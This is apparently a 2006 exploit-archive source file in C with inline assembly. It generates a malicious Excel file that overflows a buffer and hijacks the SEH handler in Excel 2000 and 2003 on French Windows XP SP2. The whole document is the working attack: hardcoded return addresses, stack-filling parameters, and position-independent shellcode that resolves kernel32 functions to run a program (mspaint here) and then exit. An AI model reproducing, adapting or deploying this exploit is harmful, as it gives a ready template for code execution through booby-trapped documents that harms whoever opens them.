    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x1A, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 
    0x00, 0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 
    0x00, 0x08, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 
    0x00, 0x0C, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 
    0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};


int shellcode_off7_2003=4123;	// Excel 2003
int shellcode_off7_2000=4855;	// Excel 2000

unsigned char shellcode_p1_2003[]=	{0xEB,0x06,0x43,0x43,
									 0x24,0xB8,0x34,0x30	// Excel 2003 (reversed address)
									};
unsigned char shellcode_p1_2000[]=	{0xEB,0x06,0x43,0x43,
									 0x99,0xD9,0x2C,0x30,	// Excel 2000 (reversed address)
									 0xE9,0x1F,0xFD,0xFF,0xFF
									};
unsigned char shellcode[724];	// shellcode max length = 724 bytes

unsigned short buff_size = 0x152e;	// approximate your buffer size (0x152e) to fill the stack
									// beyond SEH it is variant for different Excel versions
									// so again consult your debugger

char *filename="c:\\SpecialExcelFile.xls";




unsigned long InsertShellcode()
{
	goto Copy_SC_2_buffer;


	__asm
	{				// Shellcode (assembled) must be <= to 724 bytes else you'll have a crash
shellcode_start:	// during Excel file construction
//****************************** SHELLCODE integrated (start)
		jmp		first_step	// Jump to instruction located just before the entry_point to
second_step:				// permit a call back (opcode without null byte)
		pop		esp			// Fix ESP value just before usable shellcode
		shr		esp,4		// Align ESP to the immediately inferior value dividable by
		shl		esp,4		// 4 (necessary to execute correctly the WinExec function)
		jmp		entry_point	// Jump to entry_point to start the "real" work
first_step:
		call	second_step	// Load entry_point address in ESP

entry_point:
		push	30h
		pop		ecx
		mov		eax,fs:[ecx]
		mov		eax,[eax+0ch]
		mov		esi,[eax+1ch]
		lodsd
		mov		ebx,[eax+08h]	// EBX receives base kernel address
		push	ebx
		mov		eax,[ebx+3ch]
		mov		eax,[ebx+eax+78h]
		lea		esi,[ebx+eax+1ch]
		mov		cl,03h

load_rva:
		lodsd
		add		eax,ebx
		push	eax
		loop	load_rva

		pop		edx
		pop		esi

search_funcname:
		mov		edi,[esi+4*ecx]
		inc		ecx
		cmp		dword ptr [ebx+edi+4],'Acor'
		jne		search_funcname

		pop		esi
		movzx	eax,word ptr [edx+2*ecx-2]
		add		ebx,[esi+4*eax]	// EBX receives GetProcAddress address

		pop		eax			// EAX receives base kernel address
		xor		ecx,ecx		// ECX=0
		push	ecx			// Push end of function name string (null character)
		push	'cexE'		// Function name (in reversed mode)
		push	'niWX'		//         "          "
		mov		ecx,esp		// ECX=ESP
		inc		ecx			// 1 "inc ecx" for 1 "X character" in function name string
		push	ecx			// Push function name string address
		push	eax			// Push kernel base address
		call	ebx			// Retrieve WinExec address

		mov		esi,ebx		// ESI receives GetProcAddress address
		mov		ebx,[esp-8]	// EBX receives base kernel address
		xor		ecx,ecx		// ECX=0
		push	ecx			// Push end of program name string (null character)
		push	'tnia'		// Program name (in reversed mode)
		push	'psmX'		//         "          "
		mov		ecx,esp		// ECX=ESP
		inc		ecx			// 1 "inc ecx" for 1 "X character" in program name string
		push	1			// Push execution mode (1=SW_SHOW, 0=SW_HIDE)
		push	ecx			// Push program name string address-4
		call	eax			// Execute "mspaint"

		xor		ecx,ecx		// ECX=0
		push	ecx			// Push end of function name string (null character)
		push	'ssec'		// Function name (in reversed mode)
		push	'orPt'		//         "          "
		push	'ixEX'		//         "          "
		mov		ecx,esp		// ECX=ESP
		inc		ecx			// 1 "inc ecx" for 1 "X character" in function name string
		push	ecx			// Push function name string address
		push	ebx			// Push kernel base address
		call	esi			// Retrieve ExitProcess address

		xor		ecx,ecx		// ECX=0
		push	ecx			// Push exit code (null to terminate this process)
		jmp		eax			// Terminate this process
//****************************** SHELLCODE integrated (end)
shellcode_end:
	}


Copy_SC_2_buffer:

	unsigned long sc_buffer_length;

	__asm
	{
		pushad
		lea		eax,shellcode_end
		lea		ebx,shellcode_start
		sub		eax,ebx
		mov		sc_buffer_length,eax
		lea		edi,shellcode
copyshellcode:
		mov		cl,[ebx]
		mov		[edi],cl
		inc		ebx
		inc		edi
		dec		eax
		jnz		copyshellcode
		mov		[edi],al
		popad
	}

	sc_buffer_length++;
	return sc_buffer_length;
}



int main()
{
	ofstream ofs;

	ofs.open(filename,ios::binary | ios::out);

	printf("\n-/\\_NSRocket_/\\-\n\n    presents\n\n\nMicrosoft Excel 2000 and 2003 exploit for WinXP SP2 french\n**********************************************************\n\n\n\n");

	for(int z=0;z<sizeof(stream1);z++)
		ofs.put(stream1[z]);

	ofs.put((char)(buff_size&0x00ff));
	ofs.put((char)(buff_size>>8));
	ofs.put('\0');
	ofs.put('\0');

//***********************************
	for(int i=0;i<=shellcode_off7_2003;i++)
		ofs.put('C');

	for(z=0;z<sizeof(shellcode_p1_2003);z++)
		ofs.put(shellcode_p1_2003[z]);
	i+=sizeof(shellcode_p1_2003);

	int shellcode_length=(int)InsertShellcode();
	for(z=0;z<shellcode_length;z++)
		ofs.put(shellcode[z]);
	i+=shellcode_length;

	for(;i<=shellcode_off7_2000;i++)
		ofs.put('C');

	for(z=0;z<sizeof(shellcode_p1_2000);z++)
		ofs.put(shellcode_p1_2000[z]);
	i+=sizeof(shellcode_p1_2000);

	for(;i<=(int)(buff_size-4);i++)
		ofs.put('C');
//***********************************

	for(z=0;z<sizeof(stream2);z++)
		ofs.put(stream2[z]);

	ofs.close();

	printf("Specially crafted Excel file successfully generated in C:\\\n\n");
	return 0;
}

// milw0rm.com [2006-07-06]

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